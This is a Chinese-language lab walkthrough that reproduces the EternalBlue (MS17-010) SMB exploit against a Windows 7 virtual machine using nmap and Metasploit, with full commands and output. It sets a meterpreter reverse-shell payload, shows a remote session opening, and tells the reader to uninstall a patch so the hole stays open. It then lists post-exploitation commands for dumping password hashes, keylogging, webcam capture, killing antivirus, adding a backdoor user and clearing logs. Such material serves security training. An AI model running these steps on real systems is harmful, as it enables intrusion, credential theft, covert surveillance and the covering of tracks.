

注意：安装win7靶机安装VWware tools时提示驱动无法自动安装，是因为微软更新了驱动程序签名算法，2019年开始弃用SHA1，改用SHA2，所以要打kb4474419补丁，但是打上补丁后永恒之蓝漏洞会被修复，所以安装完tools后需要把补丁卸载

## 1、永恒之蓝 (Eternal Blue)

永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。

## 2、复现环境

角色	操作系统	IP地址
攻击机	kali	192.168.126.131
靶机	Windows 7 家庭普通版	192.168.126.147

## 3、漏洞复现

- 主机发现
  - 利用kali的nmap进行扫描

```
nmap 192.168.126.147
```

扫描到开放了445端口，而永恒之蓝利用的就是445端口的smb服务，操作系统溢出漏洞。

```
PORT      STATE SERVICE          VERSION
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds     Windows 7 Professional 7601 Service Pack 1 micro
soft-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc            Microsoft Windows RPC
49153/tcp  open  msrpc            Microsoft Windows RPC
49154/tcp  open  msrpc            Microsoft Windows RPC
49155/tcp  open  msrpc            Microsoft Windows RPC
49156/tcp  open  msrpc            Microsoft Windows RPC
49158/tcp  open  msrpc            Microsoft Windows RPC
```

- 使用msf框架
  - 在kali终端输入

```
# 进入msf模板库
msfconsole

# 寻找MS17-010相关模板库
search ms17-010
```

```
msf6 > search ms17-010

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/ms17_010           2017-03-14      normal No     MS17-010 SMB RCE Detection
4  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execution
```

- 进入msf模块

- 使用 `auxiliary/scanner/smb/smb_ms17_010` 模块扫描靶机是否存在该漏洞

```
# 选择使用exploit/windows/smb/ms17_010_psexec模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010
```

```
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > █
```

- 查看模块需要配置的参数

```
show options
```

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
```

Name	Current Setting	Required	Description
CHECK_ARCH	true	no	Check for architecture on vulnerable hosts
CHECK_DOPU	true	no	Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE	false	no	Check for named pipe on vulnerable hosts
NAMED_PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS		yes	The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a>
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
THREADS	1	yes	The number of concurrent threads (max one per host)

图中 Required 值为 yes 的对应 Current Setting 都需要填写

- 设置参数后扫描

RHOSTS 参数是要探测主机的ip或ip范围

设置攻击目标ip:

```
# 设置目标主机IP
set rhosts 192.168.126.147

# 扫描
run
```

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.126.147
rhosts => 192.168.126.147
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[*] 192.168.126.147:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.126.147:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

提示主机容易被攻击

- 使用 `exploit/windows/smb/ms17_010_eternalblue` 攻击模块

```
# 使用攻击模块
use exploit/windows/smb/ms17_010_eternalblue

# 查看漏洞信息
info

# 查看可以攻击的系统
show targets

# 查看该漏洞下可以使用的payload
show payloads

# 查看需要设置的参数
```

```
show options
```

```
# 设置payload (默认: payload/windows/x64/meterpreter/reverse_tcp)
set payload windows/x64/meterpreter/reverse_tcp
```

```
# 设置目标IP
set rhosts 192.168.126.147
```

```
# 执行攻击
run
```

```
[*] 192.168.126.147:445 - Connecting to target for exploitation.
[*] 192.168.126.147:445 - Connection established for exploitation.
[*] 192.168.126.147:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.126.147:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.126.147:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.126.147:445 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
[*] 192.168.126.147:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[*] 192.168.126.147:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.126.147:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.126.147:445 - Sending all but last fragment of exploit packet
[*] 192.168.126.147:445 - Starting non-paged pool grooming
[*] 192.168.126.147:445 - Sending SMBv2 buffers
[*] 192.168.126.147:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.126.147:445 - Sending final SMBv2 buffers.
[*] 192.168.126.147:445 - Sending last fragment of exploit packet!
[*] 192.168.126.147:445 - Receiving response from exploit packet
[*] 192.168.126.147:445 - ETHERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.126.147:445 - Sending egg to corrupted connection.
[*] 192.168.126.147:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.126.147
[*] Meterpreter session 1 opened (192.168.126.131:4444 → 192.168.126.147:49159) at 2022-10-15 17:30:30 +0800
[*] 192.168.126.147:445 - -----
[*] 192.168.126.147:445 - -----WIN-----
[*] 192.168.126.147:445 - -----
```

在这里可以执行文件上传下载, 获取截屏, 获取密码, 使用摄像头, 后门持久化等操作

## 4、后渗透阶段

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:

sysinfo	#查看目标主机系统信息
run scraper	#查看目标主机详细信息
hashdump	#导出密码的哈希
load kiwi	#加载
ps	#查看目标主机进程信息
pwd	#查看目标当前目录(windows)
getlwd	#查看目标当前目录(Linux)
search -f *.jsp -d e:\	#搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root	#将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test	#将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid	#查看当前Meterpreter Shell的进程
PIDmigrate 1384	#将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime	#查看主机运行时间
getuid	#查看获取的当前权限
getsystem	#提权
run killav	#关闭杀毒软件
screenshot	#截图
webcam_list	#查看目标主机的摄像头
webcam_snap	#拍照
webcam_stream	#开视频
execute 参数 -f 可执行文件	#执行可执行程序
run getgui -u hack -p 123	#创建hack用户, 密码为123
run getgui -e	#开启远程桌面
keyscan_start	#开启键盘记录功能
keyscan_dump	#显示捕捉到的键盘记录信息
keyscan_stop	#停止键盘记录功能
uictl disable keyboard	#禁止目标使用键盘

uictl	enable	keyboard	#允许目标使用键盘
uictl	disable	mouse	#禁止目标使用鼠标
uictl	enable	mouse	#允许目标使用鼠标
load			#使用扩展库
run			#使用扩展库
clearev			#清除日志